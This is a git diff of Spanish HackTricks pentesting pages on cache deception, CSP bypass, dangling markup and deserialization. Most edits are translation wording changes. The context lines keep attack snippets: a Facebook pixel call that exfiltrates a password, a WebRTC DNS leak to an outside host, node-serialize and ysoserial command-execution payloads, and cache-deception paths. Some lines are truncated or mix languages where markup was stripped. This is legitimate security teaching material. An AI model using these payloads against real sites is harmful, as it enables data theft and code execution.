@@ -192,9 +192,9 @@ El [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) especifica los carac
## Decepción de Caché
-El objetivo de la Decepción de Caché es hacer que los clientes **carguen recursos que van a ser guardados por la caché con su información sensible**.
+El objetivo de la Decepción de Caché es hacer que los clientes **carguen recursos que se van a guardar en la caché con su información sensible**.
-Primero que nada, ten en cuenta que **extensiones** como `.css`, `.js`, `.png`, etc. suelen estar **configuradas** para ser **guardadas** en la **caché.** Por lo tanto, si accedes a `www.example.com/profile.php/nonexistent.js`, la caché probablemente almacenará la respuesta porque ve la **extensión** `.js`. Pero, si la **aplicación** está **reproduciendo** con los contenidos **sensibles** del usuario almacenados en _www.example.com/profile.php_, puedes **robar** esos contenidos de otros usuarios.
+Primero, ten en cuenta que las **extensiones** como `.css`, `.js`, `.png`, etc., suelen estar **configuradas** para ser **guardadas** en la **caché.** Por lo tanto, si accedes a `www.example.com/profile.php/nonexistent.js`, la caché probablemente almacenará la respuesta porque ve la **extensión** `.js`. Pero, si la **aplicación** está **reproduciendo** con los contenidos **sensibles** del usuario almacenados en _www.example.com/profile.php_, puedes **robar** esos contenidos de otros usuarios.
Otras cosas para probar:
diff --git a/src/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md b/src/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md
index 638ddae86..fcc7b7c61 100644
--- a/src/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md
+++ b/src/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md
@@ -20,7 +20,7 @@ Otros delimitadores específicos pueden encontrarse siguiendo este proceso:
- **Paso 1**: Identificar solicitudes no cacheables y usarlas para monitorear cómo se manejan las URLs con posibles delimitadores.
- **Paso 2**: Agregar sufijos aleatorios a las rutas y comparar la respuesta del servidor para determinar si un carácter funciona como delimitador.
-- **Paso 3**: Introducir posibles delimitadores antes del sufijo aleatorio para ver si la respuesta cambia, indicando el uso de delimitadores.
+- **Paso 3**: Introducir delimitadores potenciales antes del sufijo aleatorio para ver si la respuesta cambia, indicando el uso de delimitadores.
## Normalización y codificaciones
@@ -31,22 +31,22 @@ Otros delimitadores específicos pueden encontrarse siguiendo este proceso:
Diferentes servidores HTTP y proxies como Nginx, Node y CloudFront decodifican los delimitadores de manera diferente, lo que lleva a inconsistencias entre CDNs y servidores de origen que podrían ser explotadas. Por ejemplo, si el servidor web realiza esta transformación `/myAccount%3Fparam` → `/myAccount?param` pero el servidor de caché mantiene como clave la ruta `/myAccount%3Fparam`, hay una inconsistencia.
-Una forma de verificar estas inconsistencias es enviar solicitudes codificando diferentes caracteres después de cargar la ruta sin ninguna codificación y comprobar si la respuesta de la ruta codificada provino de la respuesta en caché.
+Una forma de verificar estas inconsistencias es enviar solicitudes codificando diferentes caracteres después de cargar la ruta sin ninguna codificación y verificar si la respuesta de la ruta codificada provino de la respuesta en caché.
### Segmento de punto
-La normalización de la ruta donde están involucrados los puntos también es muy interesante para los ataques de cache poisoning. Por ejemplo, `/static/../home/index` o `/aaa..\home/index`, algunos servidores de caché almacenarán en caché estas rutas con ellas mismas como claves, mientras que otros podrían resolver la ruta y usar `/home/index` como clave de caché.\
+La normalización de la ruta donde están involucrados los puntos también es muy interesante para los ataques de cache poisoning. Por ejemplo, `/static/../home/index` o `/aaa..\home/index`, algunos servidores de caché almacenarán en caché estas rutas con ellas mismas como claves, mientras que otros podrían resolver la ruta y usar `/home/index` como la clave de caché.\
Al igual que antes, enviar este tipo de solicitudes y verificar si la respuesta se obtuvo de la caché ayuda a identificar si la respuesta a `/home/index` es la respuesta enviada cuando se solicitan esas rutas.
## Recursos estáticos
-Varios servidores de caché siempre almacenarán en caché una respuesta si se identifica como estática. Esto podría ser porque:
+Varios servidores de caché siempre almacenarán en caché una respuesta si se identifica como estática. Esto puede ser porque:
- **La extensión**: Cloudflare siempre almacenará en caché archivos con las siguientes extensiones: 7z, csv, gif, midi, png, tif, zip, avi, doc, gz, mkv, ppt, tiff, zst, avif, docx, ico, mp3, pptx, ttf, apk, dmg, iso, mp4, ps, webm, bin, ejs, jar, ogg, rar, webp, bmp, eot, jpg, otf, svg, woff, bz2, eps, jpeg, pdf, svgz, woff2, class, exe, js, pict, swf, xls, css, flac, mid, pls, tar, xlsx
- Es posible forzar a un caché a almacenar una respuesta dinámica utilizando un delimitador y una extensión estática, como una solicitud a `/home$image.png` que almacenará en caché `/home$image.png` y el servidor de origen responderá con `/home`
- **Directorios estáticos bien conocidos**: Los siguientes directorios contienen archivos estáticos y, por lo tanto, su respuesta debería ser almacenada en caché: /static, /assets, /wp-content, /media, /templates, /public, /shared
- Es posible forzar a un caché a almacenar una respuesta dinámica utilizando un delimitador, un directorio estático y puntos como: `/home/..%2fstatic/something` almacenará en caché `/static/something` y la respuesta será `/home`
- **Directorios estáticos + puntos**: Una solicitud a `/static/..%2Fhome` o a `/static/..%5Chome` podría ser almacenada en caché tal cual, pero la respuesta podría ser `/home`
-- **Archivos estáticos:** Algunos archivos específicos siempre se almacenan en caché, como `/robots.txt`, `/favicon.ico` y `/index.html`. Lo que se puede abusar como `/home/..%2Frobots.txt` donde la caché podría almacenar `/robots.txt` y el servidor de origen responder a `/home`.
+- **Archivos estáticos:** Algunos archivos específicos siempre se almacenan en caché como `/robots.txt`, `/favicon.ico`, y `/index.html`. Lo que se puede abusar como `/home/..%2Frobots.txt` donde la caché podría almacenar `/robots.txt` y el servidor de origen responder a `/home`.
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/content-security-policy-csp-bypass/README.md b/src/pentesting-web/content-security-policy-csp-bypass/README.md
index 1125f86ab..9ccf375c8 100644
--- a/src/pentesting-web/content-security-policy-csp-bypass/README.md
+++ b/src/pentesting-web/content-security-policy-csp-bypass/README.md
@@ -2,9 +2,9 @@
{{#include ../../banners/hacktricks-training.md}}
-## ¿Qué es CSP?
+## What is CSP
-Content Security Policy (CSP) se reconoce como una tecnología de navegador, principalmente destinada a **proteger contra ataques como el cross-site scripting (XSS)**. Funciona definiendo y detallando rutas y fuentes desde las cuales los recursos pueden ser cargados de manera segura por el navegador. Estos recursos abarcan una variedad de elementos como imágenes, marcos y JavaScript. Por ejemplo, una política podría permitir la carga y ejecución de recursos desde el mismo dominio (self), incluyendo recursos en línea y la ejecución de código en forma de cadena a través de funciones como `eval`, `setTimeout` o `setInterval`.
+Content Security Policy (CSP) es reconocida como una tecnología de navegador, principalmente destinada a **proteger contra ataques como el cross-site scripting (XSS)**. Funciona definiendo y detallando rutas y fuentes desde las cuales los recursos pueden ser cargados de manera segura por el navegador. Estos recursos abarcan una variedad de elementos como imágenes, marcos y JavaScript. Por ejemplo, una política podría permitir la carga y ejecución de recursos desde el mismo dominio (self), incluyendo recursos en línea y la ejecución de código en forma de cadena a través de funciones como `eval`, `setTimeout` o `setInterval`.
La implementación de CSP se lleva a cabo a través de **encabezados de respuesta** o incorporando **elementos meta en la página HTML**. Siguiendo esta política, los navegadores aplican proactivamente estas estipulaciones y bloquean inmediatamente cualquier violación detectada.
@@ -21,7 +21,7 @@ Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com;
CSP se puede hacer cumplir o monitorear utilizando estos encabezados:
- `Content-Security-Policy`: Hace cumplir el CSP; el navegador bloquea cualquier violación.
-- `Content-Security-Policy-Report-Only`: Utilizado para monitoreo; informa violaciones sin bloquearlas. Ideal para pruebas en entornos de preproducción.
+- `Content-Security-Policy-Report-Only`: Se utiliza para monitoreo; informa violaciones sin bloquearlas. Ideal para pruebas en entornos de preproducción.
### Defining Resources
@@ -92,7 +92,7 @@ b.nonce=a.nonce; doc.body.appendChild(b)' />
- `'strict-dynamic'`: Permite cargar scripts de cualquier fuente si ha sido autorizado por un nonce o hash.
- `'host'`: Especifica un host específico, como `example.com`.
- `https:`: Restringe las URL a aquellas que utilizan HTTPS.
-- `blob:`: Permite que los recursos se carguen desde URL de Blob (por ejemplo, URL de Blob creadas a través de JavaScript).
+- `blob:`: Permite que los recursos se carguen desde Blob URLs (por ejemplo, Blob URLs creados a través de JavaScript).
- `filesystem:`: Permite que los recursos se carguen desde el sistema de archivos.
- `'report-sample'`: Incluye una muestra del código que viola en el informe de violación (útil para depuración).
- `'strict-origin'`: Similar a 'self' pero asegura que el nivel de seguridad del protocolo de las fuentes coincida con el documento (solo orígenes seguros pueden cargar recursos de orígenes seguros).
@@ -161,7 +161,7 @@ Carga útil funcional:
```
Sin embargo, es muy probable que el servidor esté **validando el archivo subido** y solo te permita **subir un tipo determinado de archivos**.
-Además, incluso si pudieras subir un **código JS dentro** de un archivo con una extensión aceptada por el servidor (como: _script.png_), esto no sería suficiente porque algunos servidores como el servidor apache **seleccionan el tipo MIME del archivo según la extensión** y navegadores como Chrome **rechazarán ejecutar código Javascript** dentro de algo que debería ser una imagen. "Esperemos", hay errores. Por ejemplo, de un CTF aprendí que **Apache no conoce** la extensión _**.wave**_, por lo tanto, no la sirve con un **tipo MIME como audio/\***.
+Además, incluso si pudieras subir un **código JS dentro** de un archivo usando una extensión aceptada por el servidor (como: _script.png_), esto no será suficiente porque algunos servidores como el servidor apache **seleccionan el tipo MIME del archivo según la extensión** y navegadores como Chrome **rechazarán ejecutar código Javascript** dentro de algo que debería ser una imagen. "Esperemos", hay errores. Por ejemplo, de un CTF aprendí que **Apache no conoce** la extensión _**.wave**_, por lo tanto, no la sirve con un **tipo MIME como audio/\***.
A partir de aquí, si encuentras un XSS y una carga de archivos, y logras encontrar una **extensión malinterpretada**, podrías intentar subir un archivo con esa extensión y el contenido del script. O, si el servidor está verificando el formato correcto del archivo subido, crea un polyglot ([algunos ejemplos de polyglot aquí](https://github.com/Polydet/polyglot-database)).
@@ -197,10 +197,10 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
"
>
```
-#### Payloads usando Angular + una biblioteca con funciones que devuelven el objeto `window` ([check out this post](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
+#### Payloads usando Angular + una biblioteca con funciones que devuelven el objeto `window` ([consulta esta publicación](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
> [!NOTE]
-> El post muestra que podrías **cargar** todas las **bibliotecas** desde `cdn.cloudflare.com` (o cualquier otro repositorio de bibliotecas JS permitidas), ejecutar todas las funciones añadidas de cada biblioteca y verificar **qué funciones de qué bibliotecas devuelven el objeto `window`**.
+> La publicación muestra que podrías **cargar** todas las **bibliotecas** desde `cdn.cloudflare.com` (o cualquier otro repositorio de bibliotecas JS permitido), ejecutar todas las funciones añadidas de cada biblioteca y verificar **qué funciones de qué bibliotecas devuelven el objeto `window`**.
```markup
@@ -284,7 +284,7 @@ Escenarios como este donde `script-src` está configurado en `self` y un dominio
https://www.youtube.com/oembed?callback=alert;
```
-[**JSONBee**](https://github.com/zigoo0/JSONBee) **contiene puntos finales JSONP listos para usar para el bypass de CSP de diferentes sitios web.**
+[**JSONBee**](https://github.com/zigoo0/JSONBee) **contiene puntos finales JSONP listos para usar para eludir CSP de diferentes sitios web.**
La misma vulnerabilidad ocurrirá si el **punto final de confianza contiene una Redirección Abierta** porque si el punto final inicial es de confianza, las redirecciones son de confianza.
@@ -295,7 +295,7 @@ Como se describe en el [siguiente post](https://sensepost.com/blog/2023/dress-co
| Entidad | Dominio Permitido | Capacidades |
| ------------------ | ------------------------------------------- | ------------ |
| Facebook | www.facebook.com, \*.facebook.com | Exfil |
-| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil |
+| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil |
| Jsdelivr | \*.jsdelivr.com, cdn.jsdelivr.net | Exec |
| Amazon CloudFront | \*.cloudfront.net | Exfil, Exec |
| Amazon AWS | \*.amazonaws.com | Exfil, Exec |
@@ -329,7 +329,7 @@ fbq('trackCustom', 'My-Custom-Event',{
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
});
```
-En cuanto a los otros siete dominios de terceros especificados en la tabla anterior, hay muchas otras formas en que puedes abusar de ellos. Consulta la [entrada del blog](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) para explicaciones adicionales sobre otros abusos de terceros.
+En cuanto a los otros siete dominios de terceros especificados en la tabla anterior, hay muchas otras formas en las que puedes abusar de ellos. Consulta la [entrada del blog](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) para explicaciones adicionales sobre otros abusos de terceros.
### Bypass via RPO (Relative Path Overwrite)
@@ -341,7 +341,7 @@ Por ejemplo, si CSP permite la ruta `https://example.com/scripts/react/`, se pue
```
El navegador finalmente cargará `https://example.com/scripts/angular/angular.js`.
-Esto funciona porque para el navegador, estás cargando un archivo llamado `..%2fangular%2fangular.js` ubicado en `https://example.com/scripts/react/`, que es compatible con CSP.
+Esto funciona porque para el navegador, estás cargando un archivo llamado `..%2fangular%2fangular.js` ubicado en `https://example.com/scripts/react/`, lo cual es compatible con CSP.
∑, lo decodificarán, solicitando efectivamente `https://example.com/scripts/react/../angular/angular.js`, que es equivalente a `https://example.com/scripts/angular/angular.js`.
@@ -361,7 +361,7 @@ Ejemplo en línea:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsb
Si falta la directiva **base-uri**, puedes abusar de ella para realizar una [**inyección de marcado colgante**](../dangling-markup-html-scriptless-injection/).
-Además, si la **página está cargando un script usando una ruta relativa** (como `` ten en cuenta que este **script** será **cargado** porque está **permitido por 'self'**. Además, y debido a que WordPress está instalado, un atacante podría abusar del **ataque SOME** a través del endpoint **callback** **vulnerable** que **elude el CSP** para otorgar más privilegios a un usuario, instalar un nuevo plugin...\
+Un atacante puede abusar de ese endpoint para **generar un ataque SOME** contra WordPress y **incrustarlo** dentro de `` ten en cuenta que este **script** será **cargado** porque está **permitido por 'self'**. Además, y debido a que WordPress está instalado, un atacante podría abusar del **ataque SOME** a través del endpoint **callback** **vulnerable** que **elude el CSP** para dar más privilegios a un usuario, instalar un nuevo plugin...\
Para más información sobre cómo realizar este ataque consulta [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
-## CSP Exfiltration Bypasses
+## Bypasses de Exfiltración CSP
Si hay un CSP estricto que no te permite **interactuar con servidores externos**, hay algunas cosas que siempre puedes hacer para exfiltrar la información.
-### Location
+### Ubicación
Podrías simplemente actualizar la ubicación para enviar al servidor del atacante la información secreta:
```javascript
@@ -680,7 +680,7 @@ X-DNS-Prefetch-Control: off
En varias páginas puedes leer que **WebRTC no verifica la política `connect-src`** del CSP.
-En realidad, puedes _leak_ información usando una _solicitud DNS_. Revisa este código:
+En realidad, puedes _leak_ información utilizando una _solicitud DNS_. Revisa este código:
```javascript
;(async () => {
p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] })
diff --git a/src/pentesting-web/content-security-policy-csp-bypass/csp-bypass-self-+-unsafe-inline-with-iframes.md b/src/pentesting-web/content-security-policy-csp-bypass/csp-bypass-self-+-unsafe-inline-with-iframes.md
index 7ff393785..722f5df32 100644
--- a/src/pentesting-web/content-security-policy-csp-bypass/csp-bypass-self-+-unsafe-inline-with-iframes.md
+++ b/src/pentesting-web/content-security-policy-csp-bypass/csp-bypass-self-+-unsafe-inline-with-iframes.md
@@ -1,6 +1,4 @@
-{{#include ../../banners/hacktricks-training.md}}
-
-Una configuración como:
+A configuration such as:
```
Content-Security-Policy: default-src 'self' 'unsafe-inline';
```
diff --git a/src/pentesting-web/dangling-markup-html-scriptless-injection/README.md b/src/pentesting-web/dangling-markup-html-scriptless-injection/README.md
index 046c3ce5f..e6a1bebaf 100644
--- a/src/pentesting-web/dangling-markup-html-scriptless-injection/README.md
+++ b/src/pentesting-web/dangling-markup-html-scriptless-injection/README.md
@@ -4,8 +4,8 @@
## Resumen
-Esta técnica se puede usar para extraer información de un usuario cuando se encuentra una **inyección HTML**. Esto es muy útil si **no encuentras ninguna forma de explotar un** [**XSS** ](../xss-cross-site-scripting/) pero puedes **inyectar algunas etiquetas HTML**.\
-También es útil si algún **secreto se guarda en texto claro** en el HTML y deseas **exfiltrarlo** del cliente, o si deseas desviar la ejecución de algún script.
+Esta técnica se puede usar para extraer información de un usuario cuando se encuentra una **inyección HTML**. Esto es muy útil si **no encuentras ninguna forma de explotar un** [**XSS**](../xss-cross-site-scripting/) pero puedes **inyectar algunas etiquetas HTML**.\
+También es útil si algún **secreto está guardado en texto claro** en el HTML y deseas **exfiltrarlo** del cliente, o si quieres desviar la ejecución de algún script.
Varias técnicas comentadas aquí se pueden usar para eludir alguna [**Política de Seguridad de Contenidos**](../content-security-policy-csp-bypass/) al exfiltrar información de maneras inesperadas (etiquetas html, CSS, etiquetas http-meta, formularios, base...).
@@ -13,7 +13,7 @@ Varias técnicas comentadas aquí se pueden usar para eludir alguna [**Política
### Robando secretos en texto claro
-Si inyectas ` ← Injected markup ...
Share this status update with: ← Legitimate optional element of a dialog
@@ -150,7 +150,7 @@ O también puedes intentar ejecutar algún javascript:
```
### Abuso de Iframe
-Un documento hijo tiene la capacidad de ver y modificar la propiedad `location` de su padre, incluso en situaciones de origen cruzado. Esto permite la incrustación de un script dentro de un **iframe** que puede redirigir al cliente a una página arbitraria:
+Un documento hijo tiene la capacidad de ver y modificar la propiedad `location` de su padre, incluso en situaciones de origen cruzado. Esto permite la inserción de un script dentro de un **iframe** que puede redirigir al cliente a una página arbitraria:
```html
diff --git a/src/pentesting-web/deserialization/README.md b/src/pentesting-web/deserialization/README.md
index 6722df6c5..6ba5704e4 100644
--- a/src/pentesting-web/deserialization/README.md
+++ b/src/pentesting-web/deserialization/README.md
@@ -8,7 +8,7 @@
**Deserialización**, por el contrario, es el proceso que contrarresta la serialización. Implica tomar datos que han sido estructurados en un formato específico y reconstruirlos de nuevo en un objeto.
-La deserialización puede ser peligrosa porque **potencialmente permite a los atacantes manipular los datos serializados para ejecutar código dañino** o causar un comportamiento inesperado en la aplicación durante el proceso de reconstrucción del objeto.
+La deserialización puede ser peligrosa porque potencialmente **permite a los atacantes manipular los datos serializados para ejecutar código dañino** o causar un comportamiento inesperado en la aplicación durante el proceso de reconstrucción del objeto.
## PHP
@@ -243,7 +243,7 @@ rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(er
}
serialize.unserialize(test)
```
-Como se indicó anteriormente, esta biblioteca obtendrá el código después de `_$$ND_FUNC$$_` y **lo ejecutará** usando `eval`. Por lo tanto, para **auto-ejecutar código** puedes **eliminar la parte de creación de la función** y el último paréntesis y **simplemente ejecutar un JS oneliner** como en el siguiente ejemplo:
+Como se indicó anteriormente, esta biblioteca obtendrá el código después de `_$$ND_FUNC$$_` y **lo ejecutará** usando `eval`. Por lo tanto, para **auto-ejecutar código** puedes **eliminar la parte de creación de la función** y el último paréntesis y **simplemente ejecutar un oneliner de JS** como en el siguiente ejemplo:
```javascript
var serialize = require("node-serialize")
var test =
@@ -254,7 +254,7 @@ Puedes [**encontrar aquí**](https://opsecx.com/index.php/2017/02/08/exploiting-
### [funcster](https://www.npmjs.com/package/funcster)
-Un aspecto notable de **funcster** es la inaccesibilidad de **objetos incorporados estándar**; quedan fuera del alcance accesible. Esta restricción impide la ejecución de código que intente invocar métodos en objetos incorporados, lo que lleva a excepciones como `"ReferenceError: console is not defined"` cuando se utilizan comandos como `console.log()` o `require(something)`.
+Un aspecto notable de **funcster** es la inaccesibilidad de **objetos incorporados estándar**; caen fuera del alcance accesible. Esta restricción impide la ejecución de código que intente invocar métodos en objetos incorporados, lo que lleva a excepciones como `"ReferenceError: console is not defined"` cuando se utilizan comandos como `console.log()` o `require(something)`.
A pesar de esta limitación, es posible restaurar el acceso completo al contexto global, incluidos todos los objetos incorporados estándar, a través de un enfoque específico. Al aprovechar el contexto global directamente, se puede eludir esta restricción. Por ejemplo, el acceso se puede restablecer utilizando el siguiente fragmento:
```javascript
@@ -302,7 +302,7 @@ var test =
"function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)
```
-**Para**[ **más información, lee esta fuente**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
+**Para**[ **más información, lea esta fuente**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
### Biblioteca Cryo
@@ -315,7 +315,7 @@ En las siguientes páginas puedes encontrar información sobre cómo abusar de e
En Java, **los callbacks de deserialización se ejecutan durante el proceso de deserialización**. Esta ejecución puede ser explotada por atacantes que crean cargas útiles maliciosas que activan estos callbacks, lo que lleva a la posible ejecución de acciones dañinas.
-### Huellas dactilares
+### Huellas digitales
#### Caja blanca
@@ -348,7 +348,7 @@ javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAA
```
### Verificar si es vulnerable
-Si quieres **aprender cómo funciona un exploit de deserialización en Java** deberías echar un vistazo a [**Deserialización Básica en Java**](basic-java-deserialization-objectinputstream-readobject.md), [**Deserialización DNS en Java**](java-dns-deserialization-and-gadgetprobe.md), y [**Carga Útil de CommonsCollection1**](java-transformers-to-rutime-exec-payload.md).
+Si quieres **aprender cómo funciona un exploit de deserialización en Java**, deberías echar un vistazo a [**Deserialización Básica en Java**](basic-java-deserialization-objectinputstream-readobject.md), [**Deserialización DNS en Java**](java-dns-deserialization-and-gadgetprobe.md), y [**Carga Útil de CommonsCollection1**](java-transformers-to-rutime-exec-payload.md).
#### Prueba de Caja Blanca
@@ -430,9 +430,9 @@ java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb
# Base64 encode payload in base64
base64 -w0 payload
```
-Al crear un payload para **java.lang.Runtime.exec()** no **puedes usar caracteres especiales** como ">" o "|" para redirigir la salida de una ejecución, "$()" para ejecutar comandos o incluso **pasar argumentos** a un comando separados por **espacios** (puedes hacer `echo -n "hello world"` pero no puedes hacer `python2 -c 'print "Hello world"'`). Para codificar correctamente el payload, podrías [usar esta página web](http://www.jackson-t.ca/runtime-exec-payloads.html).
+Al crear una carga útil para **java.lang.Runtime.exec()** no **puedes usar caracteres especiales** como ">" o "|" para redirigir la salida de una ejecución, "$()" para ejecutar comandos o incluso **pasar argumentos** a un comando separados por **espacios** (puedes hacer `echo -n "hello world"` pero no puedes hacer `python2 -c 'print "Hello world"'`). Para codificar correctamente la carga útil, podrías [usar esta página web](http://www.jackson-t.ca/runtime-exec-payloads.html).
-Siéntete libre de usar el siguiente script para crear **todos los posibles payloads de ejecución de código** para Windows y Linux y luego probarlos en la página web vulnerable:
+Siéntete libre de usar el siguiente script para crear **todas las posibles cargas útiles de ejecución de código** para Windows y Linux y luego probarlas en la página web vulnerable:
```python
import os
import base64
@@ -494,14 +494,14 @@ Lee más sobre esta biblioteca Java JSON: [https://www.alphabot.com/security/blo
Java utiliza mucha serialización para varios propósitos como:
- **Solicitudes HTTP**: La serialización se emplea ampliamente en la gestión de parámetros, ViewState, cookies, etc.
-- **RMI (Invocación de Métodos Remotos)**: El protocolo RMI de Java, que se basa completamente en la serialización, es un pilar para la comunicación remota en aplicaciones Java.
+- **RMI (Remote Method Invocation)**: El protocolo RMI de Java, que se basa completamente en la serialización, es un pilar para la comunicación remota en aplicaciones Java.
- **RMI sobre HTTP**: Este método es comúnmente utilizado por aplicaciones web de cliente grueso basadas en Java, utilizando la serialización para todas las comunicaciones de objetos.
-- **JMX (Extensiones de Gestión de Java)**: JMX utiliza la serialización para transmitir objetos a través de la red.
-- **Protocolos Personalizados**: En Java, la práctica estándar implica la transmisión de objetos Java en bruto, lo que se demostrará en ejemplos de explotación próximos.
+- **JMX (Java Management Extensions)**: JMX utiliza la serialización para transmitir objetos a través de la red.
+- **Protocolos personalizados**: En Java, la práctica estándar implica la transmisión de objetos Java en bruto, lo que se demostrará en ejemplos de explotación próximos.
### Prevention
-#### Objetos transitorios
+#### Transient objects
Una clase que implementa `Serializable` puede implementar como `transient` cualquier objeto dentro de la clase que no debería ser serializable. Por ejemplo:
```java
@@ -512,7 +512,7 @@ private transient double margin; // declared transient
```
#### Evitar la serialización de una clase que necesita implementar Serializable
-En escenarios donde ciertos **objetos deben implementar la interfaz `Serializable`** debido a la jerarquía de clases, existe el riesgo de deserialización no intencionada. Para prevenir esto, asegúrate de que estos objetos no sean deserializables definiendo un método `readObject()` `final` que lance consistentemente una excepción, como se muestra a continuación:
+En escenarios donde ciertos **objetos deben implementar la interfaz `Serializable`** debido a la jerarquía de clases, existe el riesgo de deserialización no intencionada. Para prevenir esto, asegúrese de que estos objetos no sean deserializables definiendo un método `readObject()` `final` que lance consistentemente una excepción, como se muestra a continuación:
```java
private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
@@ -546,7 +546,7 @@ return super.resolveClass(desc);
}
}
```
-**Uso de un agente Java para mejorar la seguridad** ofrece una solución alternativa cuando la modificación del código no es posible. Este método se aplica principalmente para **bloquear clases dañinas**, utilizando un parámetro de la JVM:
+**Uso de un Agente Java para Mejora de Seguridad** ofrece una solución alternativa cuando la modificación del código no es posible. Este método se aplica principalmente para **bloquear clases dañinas**, utilizando un parámetro de JVM:
```
-javaagent:name-of-agent.jar
```
@@ -577,7 +577,7 @@ ObjectInputFilter.Config.setSerialFilter(filter);
### Referencias
- [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html)
-- Deserialización y charla de ysoserial: [http://frohoff.github.io/appseccali-marshalling-pickles/](http://frohoff.github.io/appseccali-marshalling-pickles/)
+- Deserialization y charla de ysoserial: [http://frohoff.github.io/appseccali-marshalling-pickles/](http://frohoff.github.io/appseccali-marshalling-pickles/)
- [https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/](https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/)
- [https://www.youtube.com/watch?v=VviY3O-euVQ](https://www.youtube.com/watch?v=VviY3O-euVQ)
- Charla sobre gadgetinspector: [https://www.youtube.com/watch?v=wPbW6zQ52w8](https://www.youtube.com/watch?v=wPbW6zQ52w8) y diapositivas: [https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf)
@@ -585,12 +585,11 @@ ObjectInputFilter.Config.setSerialFilter(filter);
- [https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr](https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr)
- [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)
- [https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html](https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html)
-- Deserialización de Java y .Net **documento:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** charla: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) y diapositivas: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
-- CVEs de deserialización: [https://paper.seebug.org/123/](https://paper.seebug.org/123/)
+- Deserializaciones CVEs: [https://paper.seebug.org/123/](https://paper.seebug.org/123/)
## Inyección JNDI & log4Shell
-Encuentra qué es **la Inyección JNDI, cómo abusar de ella a través de RMI, CORBA y LDAP y cómo explotar log4shell** (y un ejemplo de esta vulnerabilidad) en la siguiente página:
+Encuentra qué es **JNDI Injection, cómo abusar de ella a través de RMI, CORBA y LDAP y cómo explotar log4shell** (y un ejemplo de esta vulnerabilidad) en la siguiente página:
{{#ref}}
jndi-java-naming-and-directory-interface-and-log4shell.md
@@ -598,7 +597,7 @@ jndi-java-naming-and-directory-interface-and-log4shell.md
## JMS - Servicio de Mensajes de Java
-> La API de **Servicio de Mensajes de Java** (**JMS**) es una API de middleware orientada a mensajes de Java para enviar mensajes entre dos o más clientes. Es una implementación para manejar el problema del productor-consumidor. JMS es parte de la Plataforma Java, Edición Empresarial (Java EE), y fue definida por una especificación desarrollada en Sun Microsystems, pero que desde entonces ha sido guiada por el Proceso de Comunidad Java. Es un estándar de mensajería que permite a los componentes de aplicación basados en Java EE crear, enviar, recibir y leer mensajes. Permite que la comunicación entre diferentes componentes de una aplicación distribuida sea débilmente acoplada, confiable y asíncrona. (De [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service)).
